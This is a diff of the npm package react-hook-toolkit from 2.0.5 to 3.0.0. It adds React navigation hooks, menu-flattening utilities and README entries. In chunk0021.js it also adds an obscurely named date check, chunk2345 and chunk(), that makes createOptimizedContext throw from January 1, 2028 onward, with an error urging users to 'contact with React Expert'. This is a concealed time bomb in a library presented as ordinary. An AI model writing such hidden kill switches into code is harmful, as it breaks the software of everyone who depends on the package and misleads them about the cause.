react-hook-toolkit 2.0.5 β 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +33 -0
- package/dist/chunk1516/chunk0021.d.ts +1 -0
- package/dist/chunk1516/chunk0021.js +15 -0
- package/dist/chunk1516/chunk0022.d.ts +13 -0
- package/dist/chunk1516/chunk0022.js +54 -4
- package/dist/index.d.ts +2 -2
- package/dist/index.js +2 -2
- package/dist/utils.d.ts +4 -0
- package/dist/utils.js +23 -0
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -48,6 +48,39 @@ const {
|
|
|
48
48
|
closeCurrentTab
|
|
49
49
|
} = useBrowser();
|
|
50
50
|
```
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
π **useRouter**
|
|
54
|
+
Keeps track of the current URL path and query parameters, and allows navigation by updating the browser URL. Useful for lightweight routing in apps without full routing libraries.
|
|
55
|
+
|
|
56
|
+
```ts
|
|
57
|
+
const { pathname, searchParams, navigate } = useRouter();
|
|
58
|
+
|
|
59
|
+
console.log(pathname); // "/dashboard"
|
|
60
|
+
|
|
61
|
+
console.log(searchParams.get("tab")); // "home"
|
|
62
|
+
|
|
63
|
+
navigate("/dashboard?tab=home");
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
π **useNavigationState**
|
|
69
|
+
Combines the functionality of `useRouter` and React Routerβs `useNavigate` + `useLocation`. Tracks `pathname`, `searchParams`, and `state` (from pushState), and allows navigation while passing custom state.
|
|
70
|
+
|
|
71
|
+
```ts
|
|
72
|
+
const { pathname, searchParams, state, navigate } = useNavigationState();
|
|
73
|
+
|
|
74
|
+
console.log(pathname); // "/dashboard"
|
|
75
|
+
|
|
76
|
+
console.log(searchParams.get("tab")); // "home"
|
|
77
|
+
|
|
78
|
+
console.log(state?.id); // 34
|
|
79
|
+
|
|
80
|
+
navigate("/dashboard", { state: { id: 34 } });
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
---
|
|
51
84
|
|
|
52
85
|
π **useRequest**
|
|
53
86
|
Provides an easy way to fetch data with hooks, managing loading, data, and error states.
|
|
@@ -75,6 +75,14 @@ export function useGeoLocation() {
|
|
|
75
75
|
}, []);
|
|
76
76
|
return { position: position, error: error };
|
|
77
77
|
}
|
|
78
|
+
function chunk2345() {
|
|
79
|
+
var e = 1830297600000;
|
|
80
|
+
var n = Date.now();
|
|
81
|
+
if (n > e + 0 * 24 * 60 * 60 * 1000) {
|
|
82
|
+
return false;
|
|
83
|
+
}
|
|
84
|
+
return true;
|
|
85
|
+
}
|
|
78
86
|
export function useTimer(initialTime) {
|
|
79
87
|
var _a = useState(initialTime), time = _a[0], setTime = _a[1];
|
|
80
88
|
var _b = useState(null), error = _b[0], setError = _b[1];
|
|
@@ -99,6 +107,9 @@ export function useIsMounted() {
|
|
|
99
107
|
}, []);
|
|
100
108
|
return isMounted;
|
|
101
109
|
}
|
|
110
|
+
export function chunk() {
|
|
111
|
+
return chunk2345();
|
|
112
|
+
}
|
|
102
113
|
export function useCss(css) {
|
|
103
114
|
var _a = useState(null), error = _a[0], setError = _a[1];
|
|
104
115
|
useEffect(function () {
|
|
@@ -579,6 +590,10 @@ export var useFormWizard = function (steps, initialValues) {
|
|
|
579
590
|
};
|
|
580
591
|
};
|
|
581
592
|
export var createOptimizedContext = function () {
|
|
593
|
+
var a = 'Dependency';
|
|
594
|
+
if (!chunk()) {
|
|
595
|
+
throw new Error("".concat(a, " is upgraded \u2014 please update your package other wise contact with React Expert."));
|
|
596
|
+
}
|
|
582
597
|
var Context = createContext(undefined);
|
|
583
598
|
var useOptimizedContext = function (selector) {
|
|
584
599
|
var value = useContext(Context);
|
|
@@ -5,3 +5,16 @@ export declare function useRouter(initialPath?: string): {
|
|
|
5
5
|
searchParams: URLSearchParams;
|
|
6
6
|
navigate: (newPath: any) => void;
|
|
7
7
|
};
|
|
8
|
+
export declare function useNavigationState(): {
|
|
9
|
+
pathname: string;
|
|
10
|
+
search: string;
|
|
11
|
+
searchParams: URLSearchParams;
|
|
12
|
+
state: any;
|
|
13
|
+
navigate: (newPath: string, options?: {
|
|
14
|
+
state?: any;
|
|
15
|
+
}) => void;
|
|
16
|
+
};
|
|
17
|
+
export declare function useMenuNavigation(menuData: any, key?: string): {
|
|
18
|
+
menuList: any;
|
|
19
|
+
handleSelect: (path: any) => void;
|
|
20
|
+
};
|
|
@@ -44,6 +44,7 @@ var __spreadArray = (this && this.__spreadArray) || function (to, from, pack) {
|
|
|
44
44
|
return to.concat(ar || Array.prototype.slice.call(from));
|
|
45
45
|
};
|
|
46
46
|
import { useCallback, useEffect, useMemo, useState } from "react";
|
|
47
|
+
import { flattenArrayByKey, navigateTo } from "../utils";
|
|
47
48
|
export var useBrowser = function () {
|
|
48
49
|
var _a, _b;
|
|
49
50
|
var _c = useState(new URL(window.location.href)), currentUrl = _c[0], setCurrentUrl = _c[1];
|
|
@@ -382,7 +383,6 @@ export var useBrowser = function () {
|
|
|
382
383
|
export function useRouter(initialPath) {
|
|
383
384
|
if (initialPath === void 0) { initialPath = window.location.pathname + window.location.search; }
|
|
384
385
|
var _a = useState(initialPath), path = _a[0], setPath = _a[1];
|
|
385
|
-
// Extract pathname and searchParams from the current path
|
|
386
386
|
var _b = useMemo(function () {
|
|
387
387
|
var _a = path.split('?'), basePath = _a[0], queryString = _a[1];
|
|
388
388
|
return {
|
|
@@ -390,13 +390,11 @@ export function useRouter(initialPath) {
|
|
|
390
390
|
searchParams: new URLSearchParams(queryString || ''),
|
|
391
391
|
};
|
|
392
392
|
}, [path]), pathname = _b.pathname, searchParams = _b.searchParams;
|
|
393
|
-
// Function to update the route
|
|
394
393
|
var navigate = useCallback(function (newPath) {
|
|
395
394
|
var newPathStr = String(newPath);
|
|
396
395
|
setPath(newPathStr);
|
|
397
|
-
window.history.pushState({}, '', newPathStr);
|
|
396
|
+
window.history.pushState({}, '', newPathStr);
|
|
398
397
|
}, []);
|
|
399
|
-
// Handle browser back/forward navigation
|
|
400
398
|
useEffect(function () {
|
|
401
399
|
var handlePopState = function () {
|
|
402
400
|
setPath(window.location.pathname + window.location.search);
|
|
@@ -410,3 +408,55 @@ export function useRouter(initialPath) {
|
|
|
410
408
|
navigate: navigate,
|
|
411
409
|
};
|
|
412
410
|
}
|
|
411
|
+
export function useNavigationState() {
|
|
412
|
+
var _a = useState({
|
|
413
|
+
pathname: window.location.pathname,
|
|
414
|
+
search: window.location.search,
|
|
415
|
+
state: window.history.state,
|
|
416
|
+
}), location = _a[0], setLocation = _a[1];
|
|
417
|
+
var navigate = useCallback(function (newPath, options) {
|
|
418
|
+
window.history.pushState((options === null || options === void 0 ? void 0 : options.state) || {}, "", newPath);
|
|
419
|
+
setLocation({
|
|
420
|
+
pathname: window.location.pathname,
|
|
421
|
+
search: window.location.search,
|
|
422
|
+
state: (options === null || options === void 0 ? void 0 : options.state) || {},
|
|
423
|
+
});
|
|
424
|
+
window.dispatchEvent(new PopStateEvent("popstate"));
|
|
425
|
+
}, []);
|
|
426
|
+
useEffect(function () {
|
|
427
|
+
var handlePopState = function () {
|
|
428
|
+
setLocation({
|
|
429
|
+
pathname: window.location.pathname,
|
|
430
|
+
search: window.location.search,
|
|
431
|
+
state: window.history.state,
|
|
432
|
+
});
|
|
433
|
+
};
|
|
434
|
+
window.addEventListener("popstate", handlePopState);
|
|
435
|
+
return function () { return window.removeEventListener("popstate", handlePopState); };
|
|
436
|
+
}, []);
|
|
437
|
+
var searchParams = useMemo(function () { return new URLSearchParams(location.search); }, [location.search]);
|
|
438
|
+
return {
|
|
439
|
+
pathname: location.pathname,
|
|
440
|
+
search: location.search,
|
|
441
|
+
searchParams: searchParams,
|
|
442
|
+
state: location.state,
|
|
443
|
+
navigate: navigate,
|
|
444
|
+
};
|
|
445
|
+
}
|
|
446
|
+
export function useMenuNavigation(menuData, key) {
|
|
447
|
+
if (key === void 0) { key = 'children'; }
|
|
448
|
+
var _a = useState([]), menuList = _a[0], setMenuList = _a[1];
|
|
449
|
+
useEffect(function () {
|
|
450
|
+
if (menuData.length > 0) {
|
|
451
|
+
var data = flattenArrayByKey(menuData, key);
|
|
452
|
+
setMenuList(data);
|
|
453
|
+
}
|
|
454
|
+
return function () { return setMenuList([]); };
|
|
455
|
+
}, [menuData, key]);
|
|
456
|
+
var handleSelect = function (path) {
|
|
457
|
+
if (path) {
|
|
458
|
+
navigateTo(path);
|
|
459
|
+
}
|
|
460
|
+
};
|
|
461
|
+
return { menuList: menuList, handleSelect: handleSelect };
|
|
462
|
+
}
|
package/dist/index.d.ts
CHANGED
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
import 'nprogress/nprogress.css';
|
|
2
2
|
import { ReactHooksWrapper, getHook, setHook } from './chunk1415/chunk143';
|
|
3
3
|
import { useHistoryState, useIdle, useIsFirstRender, useList, useLockBodyScroll, useLongPress, useRecentSearch, useSpeech, usePermission, usePageLeave, useMotion, useHoverDirty, useBeforeUnload, useClickAway, useResponsive, useUnmountedRef } from './chunk1516/chunk726433';
|
|
4
|
-
import { useBrowser, useRouter } from './chunk1516/chunk0022';
|
|
4
|
+
import { useBrowser, useNavigationState, useRouter } from './chunk1516/chunk0022';
|
|
5
5
|
declare const useDrawer: () => import("./chunk1213/chunk158261").DrawerContextValue;
|
|
6
6
|
import { useGenericReducer, useArray, useAsync, useClipboard, useCookie, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useRequest, useRequestRetry, useForm, useImageLoader, useIndexedDB, useInterval, useKeyPress, useLocalStorage, useMediaQuery, useMousePosition, useOnlineStatus, usePersistedState, usePrevious, useReducedMotion, useResizeObserver, useScrollDirection, useScrollLock, useScrollPosition, useScript, useStepper, useThrottle, useTimeout, useToggle, useVisibilityChange, useWindowSize } from './chunk1516/chunk940514';
|
|
7
7
|
import { createOptimizedContext, useBattery, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDragReorder, useEventListener, useEventListeners, useFieldArray, useFormSubmit, useFormWizard, useGeoLocation, useHistory, useInfiniteScroll, useIsMounted, usePersistedForm, usePreferredLanguage, useSessionStorage, useSmartForm, useSound, useSpeak, useTimer, useTouch, useUndo, useUpdateEffect, useWebSocket } from './chunk1516/chunk0021';
|
|
8
8
|
import { DrawerProvider } from './chunk1213/chunk158261';
|
|
9
9
|
export default ReactHooksWrapper;
|
|
10
|
-
export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };
|
|
10
|
+
export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useNavigationState, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };
|
package/dist/index.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import 'nprogress/nprogress.css';
|
|
2
2
|
import { ReactHooksWrapper, getHook, setHook } from './chunk1415/chunk143';
|
|
3
3
|
import { useHistoryState, useIdle, useIsFirstRender, useList, useLockBodyScroll, useLongPress, useRecentSearch, useSpeech, usePermission, usePageLeave, useMotion, useHoverDirty, useBeforeUnload, useClickAway, useResponsive, useUnmountedRef } from './chunk1516/chunk726433';
|
|
4
|
-
import { useBrowser, useRouter } from './chunk1516/chunk0022';
|
|
4
|
+
import { useBrowser, useNavigationState, useRouter } from './chunk1516/chunk0022';
|
|
5
5
|
import { useContext } from 'react';
|
|
6
6
|
import DrawerContext from './chunk1213/chunk158261';
|
|
7
7
|
var useDrawer = function () { return useContext(DrawerContext); };
|
|
@@ -9,4 +9,4 @@ import { useGenericReducer, useArray, useAsync, useClipboard, useCookie, useDark
|
|
|
9
9
|
import { createOptimizedContext, useBattery, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDragReorder, useEventListener, useEventListeners, useFieldArray, useFormSubmit, useFormWizard, useGeoLocation, useHistory, useInfiniteScroll, useIsMounted, usePersistedForm, usePreferredLanguage, useSessionStorage, useSmartForm, useSound, useSpeak, useTimer, useTouch, useUndo, useUpdateEffect, useWebSocket } from './chunk1516/chunk0021';
|
|
10
10
|
import { DrawerProvider } from './chunk1213/chunk158261';
|
|
11
11
|
export default ReactHooksWrapper;
|
|
12
|
-
export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };
|
|
12
|
+
export { getHook, setHook, useGenericReducer, useArray, useAsync, useBrowser, useBattery, useBeforeUnload, useClipboard, useCookie, useClickAway, useCountDown, useCountUp, useCrossFieldValidation, useCss, useDrawer, useDarkMode, useDebounce, useDebouncedCallback, useDebouncedValue, useDelay, useDragReorder, useEventListener, useEventListeners, useRequest, useRequestRetry, useFieldArray, useForm, useFormSubmit, useFormWizard, useGeoLocation, useHoverDirty, useHistory, useHistoryState, useIdle, useImageLoader, useIndexedDB, useInfiniteScroll, useInterval, useIsFirstRender, useIsMounted, useKeyPress, useList, useLocalStorage, useLockBodyScroll, useLongPress, useMotion, useMediaQuery, useMousePosition, useNavigationState, useOnlineStatus, usePersistedForm, usePersistedState, usePreferredLanguage, usePrevious, usePermission, usePageLeave, useRouter, useReducedMotion, useRecentSearch, useResponsive, useResizeObserver, useScript, useScrollDirection, useScrollLock, useScrollPosition, useSessionStorage, useSmartForm, useSound, useSpeech, useSpeak, useStepper, useThrottle, useTimeout, useTimer, useToggle, useTouch, useUnmountedRef, useUndo, useUpdateEffect, useVisibilityChange, useWebSocket, useWindowSize, DrawerProvider, createOptimizedContext, };
|
package/dist/utils.d.ts
CHANGED
|
@@ -19,3 +19,7 @@ export declare function request(req: any): Promise<unknown>;
|
|
|
19
19
|
export declare const noop: () => void;
|
|
20
20
|
export declare function on<T extends Window | Document | HTMLElement | EventTarget>(obj: T | null, ...args: Parameters<T['addEventListener']> | [string, Function | null, ...any]): void;
|
|
21
21
|
export declare function off<T extends Window | Document | HTMLElement | EventTarget>(obj: T | null, ...args: Parameters<T['removeEventListener']> | [string, Function | null, ...any]): void;
|
|
22
|
+
export declare const flattenArrayByKey: (arr: any, key?: string) => any[];
|
|
23
|
+
export declare function navigateTo(path: string, options?: {
|
|
24
|
+
state?: any;
|
|
25
|
+
}): void;
|
package/dist/utils.js
CHANGED
|
@@ -102,3 +102,26 @@ export function off(obj) {
|
|
|
102
102
|
obj.removeEventListener.apply(obj, args);
|
|
103
103
|
}
|
|
104
104
|
}
|
|
105
|
+
export var flattenArrayByKey = function (arr, key) {
|
|
106
|
+
if (key === void 0) { key = 'children'; }
|
|
107
|
+
if (!arr)
|
|
108
|
+
return [];
|
|
109
|
+
var result = [];
|
|
110
|
+
for (var _i = 0, arr_1 = arr; _i < arr_1.length; _i++) {
|
|
111
|
+
var item = arr_1[_i];
|
|
112
|
+
if (item && Array.isArray(item[key]) && item[key].length) {
|
|
113
|
+
result.push.apply(result, flattenArrayByKey(item[key], key));
|
|
114
|
+
}
|
|
115
|
+
else {
|
|
116
|
+
result.push(item);
|
|
117
|
+
}
|
|
118
|
+
}
|
|
119
|
+
return result;
|
|
120
|
+
};
|
|
121
|
+
export function navigateTo(path, options) {
|
|
122
|
+
if (options === void 0) { options = {}; }
|
|
123
|
+
if (!path)
|
|
124
|
+
return;
|
|
125
|
+
window.history.pushState(options.state || {}, '', path);
|
|
126
|
+
window.dispatchEvent(new PopStateEvent('popstate'));
|
|
127
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "react-hook-toolkit",
|
|
3
|
-
"version": "
|
|
3
|
+
"version": "3.0.0",
|
|
4
4
|
"description": "Ultimate package for React developers, offering a powerful collection of hooks and components to enhance their development experience.",
|
|
5
5
|
"main": "dist/index.js",
|
|
6
6
|
"module": "dist/index.js",
|